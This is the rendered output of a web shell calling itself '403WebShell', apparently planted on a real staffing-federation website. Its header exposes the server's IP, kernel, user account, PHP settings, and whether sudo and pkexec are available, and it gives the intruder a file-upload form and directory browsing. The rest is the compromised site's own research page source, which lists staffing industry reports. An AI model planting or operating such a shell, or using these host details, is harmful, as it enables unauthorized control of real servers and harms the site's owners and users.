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<!doctypehtml><html><head><title>403WebShell</title><meta content="noindex"name="robots"></head><body bgcolor="#1f1f1f"text="#ffffff"><link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"rel="stylesheet"><style>@import url(https://fonts.googleapis.com/css?family=Dosis);@import url(https://fonts.googleapis.com/css?family=Bungee);@import url(https://fonts.googleapis.com/css?family=Russo+One);body{font-family:Consolas,cursive;text-shadow:0 0 1px #757575}body::-webkit-scrollbar{width:12px}body::-webkit-scrollbar-track{background:#1f1f1f}body::-webkit-scrollbar-thumb{background-color:#1f1f1f;border:3px solid gray}#content tr:hover{background-color:#636263;text-shadow:0 0 10px #fff}#content .first{background-color:#5e5e5e}#content .first:hover{background-color:#25383c;text-shadow:0 0 1px #757575}table{border:1px #000 dotted;table-layout:fixed}td{word-wrap:break-word}a{color:#df5;text-decoration:none}a:hover{color:#000;text-shadow:0 0 10px #fff}input,select,textarea{border:1px #000 solid;-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px}.gas{background-color:#1f1f1f;color:#fff;cursor:pointer}select{background-color:transparent;color:#fff}select:after{cursor:pointer}.linka{background-color:transparent;color:#fff}.up{background-color:transparent;color:#fff}option{background-color:#1f1f1f}.btf{background:0 0;border:1px #fff solid;cursor:pointer}::-webkit-file-upload-button{background:0 0;color:#fff;border-color:#fff;cursor:pointer}</style><center><font face="Bungee" size="5">403Webshell</font></center>
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<tr><td>Server IP : <font color=#df5>97.74.90.209</font> &nbsp;/&nbsp; Your IP : <font color=#df5>216.73.216.74</font><br>Web Server : <font color='#df5'>Apache</font><br>System : <font color='#df5'>Linux live.indianstaffingfederation.org 4.18.0-553.54.1.el8_10.x86_64 #1 SMP Tue May 27 22:49:52 EDT 2025 x86_64</font><br>User : <font color='#df5'>indianstaffing&nbsp;</font>( <font color='#df5'>1003</font>)<br>PHP Version : <font color='#df5'>8.3.22</font><br>Disable Function : <font color='red'>exec,passthru,shell_exec,system</font></font><br>MySQL : <font color=red>OFF</font> &nbsp;|&nbsp; cURL : <font color=green>ON</font> &nbsp;|&nbsp; WGET : <font color=green>ON</font> &nbsp;|&nbsp; Perl : <font color=green>ON</font> &nbsp;|&nbsp; Python : <font color=green>ON</font> &nbsp;|&nbsp; Sudo : <font color=green>ON</font> &nbsp;|&nbsp; Pkexec : <font color=green>ON</font><br>Directory : &nbsp;<a href="?loknya=/">/</a><a href="?loknya=/home">home</a>/<a href="?loknya=/home/indianstaffing">indianstaffing</a>/<a href="?loknya=/home/indianstaffing/public_html">public_html</a>/</td></tr><tr><td><br>Upload File : <form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked>current_dir [ <font color='green'>Writeable</font> ]
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<input type="hidden" name="upwkwk" value="aplod">
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</form><br><form method="post" enctype="application/x-www-form-urlencoded">
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</form></table><br><hr><center style="font-family: Russo One">[ <a href='/admin/uploads/members-logo/squirt.php'>Back</a> ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<hr></center><br><tr><td>Current File : /home/indianstaffing/public_html/research1.php</tr></td></table><br/><pre>&lt;?php include&#039;header.php&#039; ?&gt;
&lt;style&gt;
  .wrapingimage {
    float: left;
    padding: 0px 30px 10px 0px;
  }
&lt;/style&gt;
&lt;style&gt;
  .isf-interview {
    max-width: 100% !important;
    display: flex;
    justify-content: space-between;
    align-items: center;
  }

  .br-5 {
    border-radius: 5px;
  }

  .mb-10 {
    margin-bottom: 10px;
  }

  .stf-demand {
    text-align: justify;
    padding-right: 18px;
    color: #000;
    padding-left: 25px;
    list-style-type: disc;
    font-size: 14px;
    word-spacing: -3px;
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  .stf-demand li {
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  .team-report {
    background: #fff;
    max-width: 270px;
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    bottom: 132px;
    text-align: center;
    border-radius: 3px;
    margin: 0px 19px;
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  .tablk {
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    background-color: hsl(214deg 92% 28%);
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    padding: 10px 20px;
    line-height: 38px;
    font-size: 14px;
    border-radius: 8px;
  }

  .team-report-date {
    font-size: 12px;
    font-Weight: 600;
    color: hsl(20 2% 61% / 4);
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  .team-report-heading {
    font-size: 16px;
    line-height: 24px;
    font-Weight: 700;
    padding: 6px 17.5px;
    text-align: center;
    margin: 0px;
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  .demand {
    margin-top: -79px;
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    text-align: center;
    justify-content: flex-start;
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  .demand:hover {
    margin-top: -79px;
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    /*background-color: hsl(205deg 100% 79%) !important;*/
    text-align: center;
    justify-content: flex-start;
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  .demand-img {
    padding: 1rem;
    /*margin: 0rem 0rem 1.5rem 4rem;*/
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  .hero_banner {
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    height: 30vh;
    background-size: cover;
    display: flex;
    justify-content: center;
    align-items: center;
  }

  .hero_context {
    display: flex;
    justify-content: center;
    align-items: center;
  }

  .dropdown {
    width: 18rem;
    padding: 7px 10px;
    outline: none;
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    background: #94d3ff;
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  .bargraph {
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  .team-wrap {
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    justify-content: center;
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    align-items: center;
    border-radius: 15px;
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  .download-btn {
    margin: 15px 0px 0px 0px;
    color: #fff;
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    background: #004089;
  }


  .common-control {
    display: flex;
    flex-direction: column;
    /* align-items: center; */
  }

  .img-col {
    align-items: center;
    display: flex;
    justify-content: center;
  }

  @media only screen and (max-width: 600px) {
    .bargraph {
      width: 100%;
    }
  }
&lt;/style&gt;
&lt;section class=&quot;hero_banner&quot;&gt;
  &lt;div class=&quot;hero_context&quot;&gt;
    &lt;select class=&quot;dropdown&quot;&gt;
      &lt;option value=&quot;&quot;&gt;Select the area&lt;/option&gt;
    &lt;/select&gt;
  &lt;/div&gt;
&lt;/section&gt;
&lt;section&gt;
  &lt;div class=&quot;container&quot; style=&quot;text-align:center;padding:15px 0px 40px 0px;&quot;&gt;
    &lt;h2 style=&quot;margin-bottom: 5px; font-size: 28px;&quot;&gt; Staffing Industry In India &lt;/h2&gt;
    &lt;img src=&quot;assets/images/research/research-graph-1.svg&quot; class=&quot;bargraph&quot; width=&quot;80%&quot; style=&quot;text-align:center;&quot;&gt;
&lt;/section&gt;


&lt;section class=&quot;py-5&quot;&gt;
  &lt;div class=&quot;container&quot;&gt;
    &lt;div class=&quot;row&quot;&gt;
      &lt;div class=&quot;col-lg-3 col-sm-6 mb-30&quot;&gt;
        &lt;div class=&quot;team-wrap&quot;&gt;
          &lt;div class=&quot;demand-img&quot; style=&quot;border: 6px solid #003986&quot;&gt;
            &lt;img style=&quot; width:74%;padding-top: 10px;&quot; src=&quot;assets/images/research//diagram.png&quot; alt=&quot;&quot;&gt;
          &lt;/div&gt;
          &lt;div class=&quot;team-item-text demand&quot; style=&quot;background-color: #2191a63d;box-shadow: 4px 6px 6px 2px #2191a61f&quot;&gt;
            &lt;div class=&quot;team-details&quot;&gt;
              &lt;h3 class=&quot;&quot;&gt;
                &lt;a style=&quot;color:#000;font-weight:600; font-size:20px;&quot; href=&quot;team-single.php&quot;&gt;ROBUST DEMAND&lt;/a&gt;
              &lt;/h3&gt;
              &lt;ol class=&quot;stf-demand&quot;&gt;
                &lt;li class=&quot;mb-10&quot;&gt; According to a report published by IAMAI and Kanter Research, India internet users
                  are expected to reach 900 million by 2025,from ~622 million internet users in 2020, increasing at a
                  CAGR of 45% Until 2025. &lt;/li&gt;
                &lt;li&gt; The advertising-based video on demand (aVoD) segment is expected to rise at a CAGR of 24% to reach
                  US$ 2.6 billion by 2025. &lt;/li&gt;
              &lt;/ol&gt;
            &lt;/div&gt;
          &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;
      &lt;div class=&quot;col-lg-3 col-sm-6 mb-30&quot;&gt;
        &lt;div class=&quot;team-wrap&quot;&gt;
          &lt;div class=&quot;demand-img&quot; style=&quot;border: 6px solid #003986;&quot;&gt;
            &lt;img style=&quot; width:74%;     padding-top: 10px;&quot; src=&quot;assets/images/research//opportunity.png&quot; alt=&quot;&quot;&gt;
          &lt;/div&gt;
          &lt;div class=&quot;team-item-text demand&quot; style=&quot;background-color: #5fe93c3d;box-shadow: 4px 6px 6px 2px #5fe93c1c&quot;&gt;
            &lt;div class=&quot;team-details&quot;&gt;
              &lt;h3 class=&quot;&quot;&gt;
                &lt;a style=&quot;color:#000 !important;font-weight:600; font-size:20px; &quot; href=&quot;team-single.php&quot;&gt;ROBUST
                  DEMAND&lt;/a&gt;
              &lt;/h3&gt;
              &lt;ol class=&quot;stf-demand&quot;&gt;
                &lt;li class=&quot;mb-10&quot;&gt; According to a report published by IAMAI and Kanter Research, India internet users
                  are expected to reach 900 million by 2025,from ~622 million internet users in 2020, increasing at a
                  CAGR of 45% Until 2025. &lt;/li&gt;
                &lt;li&gt; The advertising-based video on demand (aVoD) segment is expected to rise at a CAGR of 24% to reach
                  US$ 2.6 billion by 2025. &lt;/li&gt;
              &lt;/ol&gt;
            &lt;/div&gt;
          &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;
      &lt;div class=&quot;col-lg-3 col-sm-6 mb-30&quot;&gt;
        &lt;div class=&quot;team-wrap&quot;&gt;
          &lt;div class=&quot;demand-img&quot; style=&quot;border: 6px solid #003986;&quot;&gt;
            &lt;img style=&quot; width:74%;     padding-top: 10px;&quot; src=&quot;assets/images/research//insurance.png&quot; alt=&quot;&quot;&gt;
          &lt;/div&gt;
          &lt;div class=&quot;team-item-text demand&quot; style=&quot;background-color: #3c21a63d;box-shadow: 4px 6px 6px 2px #3c21a629&quot;&gt;
            &lt;div class=&quot;team-details&quot;&gt;
              &lt;h3 class=&quot;&quot;&gt;
                &lt;a style=&quot;color:#000 !important;font-weight:600; font-size:20px; &quot; href=&quot;team-single.php&quot;&gt;ROBUST
                  DEMAND&lt;/a&gt;
              &lt;/h3&gt;
              &lt;ol class=&quot;stf-demand&quot;&gt;
                &lt;li class=&quot;mb-10&quot;&gt; According to a report published by IAMAI and Kanter Research, India internet users
                  are expected to reach 900 million by 2025,from ~622 million internet users in 2020, increasing at a
                  CAGR of 45% Until 2025. &lt;/li&gt;
                &lt;li&gt; The advertising-based video on demand (aVoD) segment is expected to rise at a CAGR of 24% to reach
                  US$ 2.6 billion by 2025. &lt;/li&gt;
              &lt;/ol&gt;
            &lt;/div&gt;
          &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;
      &lt;div class=&quot;col-lg-3 col-sm-6 mb-30&quot;&gt;
        &lt;div class=&quot;team-wrap&quot;&gt;
          &lt;div class=&quot;demand-img&quot; style=&quot;border: 6px solid #003986 !important;&quot;&gt;
            &lt;img style=&quot;width:74%;padding-top: 10px;&quot; src=&quot;assets/images/research//dollar.png&quot; alt=&quot;&quot;&gt;
          &lt;/div&gt;
          &lt;div class=&quot;team-item-text demand&quot; style=&quot;background-color: #a621583d;box-shadow: 4px 6px 6px 2px #a621581c;&quot;&gt;
            &lt;div class=&quot;team-details&quot;&gt;
              &lt;h3 class=&quot;&quot;&gt;
                &lt;a style=&quot;color:#000 !important;font-weight:600; font-size:20px; &quot; href=&quot;team-single.php&quot;&gt;ROBUST
                  DEMAND&lt;/a&gt;
              &lt;/h3&gt;
              &lt;ol class=&quot;stf-demand&quot;&gt;
                &lt;li class=&quot;mb-10&quot;&gt; According to a report published by IAMAI and Kanter Research, India internet users
                  are expected to reach 900 million by 2025,from ~622 million internet users in 2020, increasing at a
                  CAGR of 45% Until 2025. &lt;/li&gt;
                &lt;li&gt; The advertising-based video on demand (aVoD) segment is expected to rise at a CAGR of 24% to reach
                  US$ 2.6 billion by 2025. &lt;/li&gt;
              &lt;/ol&gt;
            &lt;/div&gt;
          &lt;/div&gt;
        &lt;/div&gt;
        &lt;!-- Team Section End --&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/section&gt;
&lt;section style=&quot;background-color: hsl(205deg 100% 79%); margin:0px 0px 30px 0px&quot;&gt;
  &lt;div class=&quot;container&quot;&gt;
    &lt;div class=&quot;row&quot;
      STYLE=&quot;display: flex; flex-direction: row; padding: 2.5rem 1.75rem; justify-content:space-evenly;text-align:center; color:#000; font-weight:500;&quot;&gt;
      &lt;div id=&quot;isf-1&quot; class=&quot;col-lg-3 col-md-auto tablk active&quot; onclick=&quot;openCity(event, &#039;ISF&#039;);&quot;&gt; ISF&amp;nbsp;RESOURCES
      &lt;/div&gt;
      &lt;div id=&quot;isf-2&quot; class=&quot;col-lg-3 col-md-auto tablk&quot; onclick=&quot;openCity(event, &#039;Member&#039;);&quot;
        style=&quot;max-width: 230px; padding: 10px 20px;line-height:38px; font-size: 14px; border-radius:8px; &quot;&gt;
        MEMBER&amp;nbsp;RESOURCES &lt;/div&gt;
      &lt;div class=&quot;col-lg-3 col-md-auto tablk&quot; onclick=&quot;openCity(event, &#039;Wec&#039;);&quot;
        style=&quot; max-width: 230px; padding: 10px 20px;line-height:38px; font-size: 14px; border-radius:8px; &quot;&gt;
        WEC&amp;nbsp;RESOURCES &lt;/div&gt;
      &lt;div class=&quot;col-lg-3 col-md-auto tablk&quot; onclick=&quot;openCity(event, &#039;Others&#039;);&quot;&gt; OTHER&amp;nbsp;RESOURCES &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/section&gt;

&lt;div id=&quot;ISF&quot; class=&quot;tabcnt col-lg-12 pr-40 md-pr-15 md-mb-50 order-2 order-lg-1 order-md-1 &quot;&gt;
  &lt;!-- &lt;h2 class=&quot;text-center&quot;&gt;Advocacy&lt;/h2&gt; --&gt;
  &lt;div class=&quot;container&quot;&gt;
    &lt;div class=&quot;row&quot;&gt;
      &lt;div class=&quot;col-md-2 img-col img-col&quot;&gt;
        &lt;div class=&quot;common-control mob-center form-group mb-0 mt-1 ml-3&quot;&gt;
          &lt;img class=&quot;mt-30&quot; src=&quot;assets/images/research/report-2.png&quot; alt=&quot;&quot;&gt;
          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Indian Staffing Federation - Staffing Employment Trends Report- Q2 22-23
          &lt;/h5&gt;
          &lt;p&gt;YoY (Q223 vs Q222): Staffing industry grew at 20% YoY
            &lt;br /&gt;
            The markets are stabilizing with new employment growth as witnessed with a continued robust demand across
            sectors except
            IT.
            &lt;br /&gt;
            Nett headcount growth for staffing Industry (represented by ISF members) in the last 4 qtrs, has grown at
            2.32 lakhs
            indicating significant new employment demand.
            &lt;br /&gt;
            Download the Detailed report at https://bit.ly/3CgtUcD
          &lt;/p&gt;

        &lt;/div&gt;
        &lt;!-- --&gt;
      &lt;/div&gt;


    &lt;/div&gt;
    &lt;hr class=&quot;solid&quot; style=&quot;border-top: 1px solid #e1e1e1;&quot;&gt;
    &lt;div class=&quot;row&quot;&gt;
      &lt;div class=&quot;col-md-2 img-col &quot;&gt;
        &lt;div class=&quot;common-control mob-center form-group mb-0 mt-1 ml-3&quot;&gt;
          &lt;img class=&quot;mt-30&quot; src=&quot;assets/images/research/report-2.png&quot; alt=&quot;&quot;&gt;
          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Indian Staffing Federation Quarter 1 Report Flexi Staffing Industry 2022-23
          &lt;/h5&gt;
          &lt;p&gt;Q123 grew at 6.6% witnessing another steady increase at +2.4% QoQ with 66000 new flexi employment created
            in Q123.
            &lt;br /&gt;
            Unless Indian Staffing Federation provides express prior written consent, The reproduction, distribution,
            adaptation,
            translation, and public performance of this publication is not allowed.
            &lt;br /&gt;
            Download the Detailed report at https://bit.ly/3CgtUcD
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
    &lt;hr class=&quot;solid&quot; style=&quot;border-top: 1px solid #e1e1e1;&quot;&gt;
    &lt;div class=&quot;row&quot;&gt;
      &lt;div class=&quot;col-md-2 img-col &quot;&gt;
        &lt;div class=&quot;common-control mob-center form-group mb-0 mt-1 ml-3&quot;&gt;
          &lt;img class=&quot;mt-30&quot; src=&quot;assets/images/research/report-2.png&quot; alt=&quot;&quot;&gt;
          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Indian Staffing Federation Annual Report Flexi Staffing Industry 2022
          &lt;/h5&gt;
          &lt;p&gt;Staffing industry added new employment at a sharp 21.9% YoY (2021 22), compared to a 3.6% new employment
            generated in
            the previous year.
            &lt;br /&gt;
            Unless Indian Staffing Federation provides express prior written consent, The reproduction, distribution,
            adaptation,
            translation, and public performance of this publication is not allowed.
            &lt;br /&gt;
            Download the Detailed report at https://bit.ly/3CgtUcD
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
    &lt;hr class=&quot;solid&quot; style=&quot;border-top: 1px solid #e1e1e1;&quot;&gt;
    &lt;div class=&quot;row&quot;&gt;
      &lt;div class=&quot;col-md-2 img-col &quot;&gt;
        &lt;div class=&quot;common-control mob-center form-group mb-0 mt-1 ml-3&quot;&gt;
          &lt;img class=&quot;mt-30&quot; src=&quot;assets/images/research/report-2.png&quot; alt=&quot;&quot;&gt;
          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Indian Staffing Federation Quarter 3 Report Flexi Staffing Industry 2021-22
          &lt;/h5&gt;
          &lt;p&gt;Despite a tepid quarter and Omnicron threats, QoQ 40,000 new job seekers garnered fresh employment through
            ISF members.
            &lt;br /&gt;
            Unless Indian Staffing Federation provides express prior written consent, The reproduction, distribution,
            adaptation,
            translation, and public performance of this publication is not allowed.
            &lt;br /&gt;
            Download the Detailed report at https://bit.ly/3CgtUcD
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;

    &lt;hr class=&quot;solid&quot; style=&quot;border-top: 1px solid #e1e1e1;&quot;&gt;
    &lt;div class=&quot;row&quot;&gt;
      &lt;div class=&quot;col-md-2 img-col &quot;&gt;
        &lt;div class=&quot;common-control mob-center form-group mb-0 mt-1 ml-3&quot;&gt;
          &lt;img class=&quot;mt-30&quot; src=&quot;assets/images/research/report-2.png&quot; alt=&quot;&quot;&gt;
          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Indian Staffing Federation Quarter 2 Report Flexi Staffing Industry 2021-22
          &lt;/h5&gt;
          &lt;p&gt;Post pandemic Nett headcount for staffing Industry (represented by ISF members) in the last 4 qtrs, grew at
            23%
            &lt;br /&gt;
            Unless Indian Staffing Federation provides express prior written consent, The reproduction, distribution,
            adaptation,
            translation, and public performance of this publication is not allowed.
            &lt;br /&gt;
            Download the Detailed report at https://bit.ly/3CgtUcD
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
    &lt;hr class=&quot;solid&quot; style=&quot;border-top: 1px solid #e1e1e1;&quot;&gt;
    &lt;div class=&quot;row&quot;&gt;
      &lt;div class=&quot;col-md-2 img-col &quot;&gt;
        &lt;div class=&quot;common-control mob-center form-group mb-0 mt-1 ml-3&quot;&gt;
          &lt;img class=&quot;mt-30&quot; src=&quot;assets/images/research/report-2.png&quot; alt=&quot;&quot;&gt;
          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Indian Staffing Federation Quarter 1 Report Flexi Staffing Industry 2021-22
          &lt;/h5&gt;
          &lt;p&gt;Despite pandemic Nett headcount for staffing Industry (represented by ISF members) in the last 4 qtrs, grew
            at 14.1%
            &lt;br /&gt;
            Unless Indian Staffing Federation provides express prior written consent, The reproduction, distribution,
            adaptation,
            translation, and public performance of this publication is not allowed.
            &lt;br /&gt;
            Download the Detailed report at https://bit.ly/3CgtUcD
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
    &lt;hr class=&quot;solid&quot; style=&quot;border-top: 1px solid #e1e1e1;&quot;&gt;
    &lt;div class=&quot;row&quot;&gt;
      &lt;div class=&quot;col-md-2 img-col &quot;&gt;
        &lt;div class=&quot;common-control mob-center form-group mb-0 mt-1 ml-3&quot;&gt;
          &lt;img class=&quot;mt-30&quot; src=&quot;assets/images/research/report-2.png&quot; alt=&quot;&quot;&gt;
          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Indian Staffing Federation Annual Report Flexi Staffing Industry 2021
          &lt;/h5&gt;
          &lt;p&gt;In a challenging year, Indian Staffing industry ends FY 2021 with a modest 3.6% growth over Mar 20.
            &lt;br /&gt;
            Unless Indian Staffing Federation provides express prior written consent, The reproduction, distribution,
            adaptation,
            translation, and public performance of this publication is not allowed.
            &lt;br /&gt;
            Download the Detailed report at https://bit.ly/3CgtUcD
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
    &lt;hr class=&quot;solid&quot; style=&quot;border-top: 1px solid #e1e1e1;&quot;&gt;
    &lt;div class=&quot;row&quot;&gt;
      &lt;div class=&quot;col-md-2 img-col &quot;&gt;
        &lt;div class=&quot;common-control mob-center form-group mb-0 mt-1 ml-3&quot;&gt;
          &lt;img class=&quot;mt-30&quot; src=&quot;assets/images/research/report-2.png&quot; alt=&quot;&quot;&gt;
          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;

      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Indian Staffing Federation- Social Impact of Organised Staffing Industry 2020: April 2020 Report
          &lt;/h5&gt;
          &lt;p&gt;
            Indian Staffing Federation- Social Impact of Organised Staffing Industry 2020

            &lt;br /&gt;
            The study brings forth the social impact of organised flexi staffing industry on the factors protecting &amp;
            influencing
            the flexi employment. The survey was conducted with members of Indian Staffing Federation April 2019-March
            2020 (pre
            covid).
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;


&lt;div id=&quot;Member&quot; style=&quot;display:none;&quot; class=&quot;tabcnt col-lg-12 pr-40 md-pr-15 md-mb-50 order-2 order-lg-1 order-md-1 &quot;&gt;
  &lt;!-- &lt;h2 class=&quot;text-center&quot;&gt;Advocacy&lt;/h2&gt; --&gt;
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          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Employment Outlook Report Q4: Jan – March 23
          &lt;/h5&gt;
          &lt;p&gt;he TeamLease Employment Outlook Report is a forward looking tool for human resource professionals, policy
            and decision makers, reflecting hiring sentiment across 14 cities and the Manufacturing sector (comprising 9
            manufacturing industries) in India. This report carries “Intent to Hire” statistics for Q-4, 2022-23 [Jan,
            2023 –Mar, 2023] on the basis of the survey and analysis carried out during October and November, 2022
          &lt;/p&gt;

        &lt;/div&gt;
        &lt;!-- --&gt;
      &lt;/div&gt;


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    &lt;hr class=&quot;solid&quot; style=&quot;border-top: 1px solid #e1e1e1;&quot;&gt;
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        &lt;div class=&quot;common-control mob-center form-group mb-0 mt-1 ml-3&quot;&gt;
          &lt;img class=&quot;mt-30&quot; src=&quot;assets/images/research/report-img.png&quot; alt=&quot;&quot;&gt;
          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Reinventing Businesses With Workforce Formalization.
          &lt;/h5&gt;
          &lt;p&gt;The Indian economy is beset with a stubborn, age-old problem of gigantic proportions – nearly 90% of its
            workforce is
            informal. While the adverse impact this has on wages and livelihoods is well understood, its severely
            constraining
            effect on business transformation is not. When organizations make do with inferior quality people resources,
            just so
            they get penny-wise, they are setting themselves up for an inherent inability to achieve breakout growth
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
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    &lt;div class=&quot;row&quot;&gt;
      &lt;div class=&quot;col-md-2 img-col &quot;&gt;
        &lt;div class=&quot;common-control mob-center form-group mb-0 mt-1 ml-3&quot;&gt;
          &lt;img class=&quot;mt-30&quot; src=&quot;assets/images/research/report-img.png&quot; alt=&quot;&quot;&gt;
          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            2022 LOW-CODE NO-CODE Innovation in the Fast Lane
          &lt;/h5&gt;
          &lt;p&gt;After decades of enabling and improving business operations, technology is shaping new dimensions in the
            digital world
            to drive growth. As IT industry is conceptualizing and delivering digital strategies, Low-Code No-Code is
            emerging as a
            strong dominance in the IT industry. Businesses are increasing their adoption of these applications to
            improve their
            competitive edge and continue the process of integrating digital technologies. The impact of LCNC
            demonstrates that
            organizations no longer need to depend on a web or app developer to build a website, app, or user interface.
            LCNC
            platforms eliminate technical barrier as these applications are emerging as a solution while lowering risks
            and costs.
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
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    &lt;div class=&quot;row&quot;&gt;
      &lt;div class=&quot;col-md-2 img-col &quot;&gt;
        &lt;div class=&quot;common-control mob-center form-group mb-0 mt-1 ml-3&quot;&gt;
          &lt;img class=&quot;mt-30&quot; src=&quot;assets/images/research/report-img.png&quot; alt=&quot;&quot;&gt;
          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Uncovering Digital Talent in Emerging Locations
          &lt;/h5&gt;
          &lt;p&gt;TeamLease Digital is a subsidiary of TeamLease Services Limited, which offers specialized staffing &amp;
            solutions across
            IT, ITeS, Telecom, Engineering, EdTech, HealthTech, and Gaming industries. TeamLease Digital has emerged as
            one of the
            largest specialized Staffing &amp; Solutions providers in the country. TeamLease Digital has hired over 80,000+
            professionals since its inception, has 10000 + consultants currently deployed with 200+ clients including
            some of the
            largest Fortune 500 clients, and has over 7,000+ open jobs every day. With the vision of ‘Putting India to
            Work’, we at
            TeamLease Digital are committed to being part of the amazing growth story.
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
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        &lt;div class=&quot;common-control mob-center form-group mb-0 mt-1 ml-3&quot;&gt;
          &lt;img class=&quot;mt-30&quot; src=&quot;assets/images/research/report-img.png&quot; alt=&quot;&quot;&gt;
          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Randstad talent trends report 2022
          &lt;/h5&gt;
          &lt;p&gt;The 2022 Randstad Talent Trends Report is based on Randstad’s data in the six-month period, September 2021
            to February
            2022. The data has been collected, and talent trends analyzed across a comprehensive range of experience
            levels, spread
            over 8 Tier-1 cities, and 18 Tier-2 cities across India. This edition of the Randstad Talent Trends Report
            by Randstad
            India provides insights on the talent needs of the BFSI, Manufacturing, IT and PHL in India. It unfolds a
            comprehensive
            view of current and emerging talent requirements in these industries, and also looks at future possible
            trends – so that
            organizations, employees and candidates understand what it takes to be future-relevant.
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
    &lt;hr class=&quot;solid&quot; style=&quot;border-top: 1px solid #e1e1e1;&quot;&gt;
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      &lt;div class=&quot;col-md-2 img-col &quot;&gt;
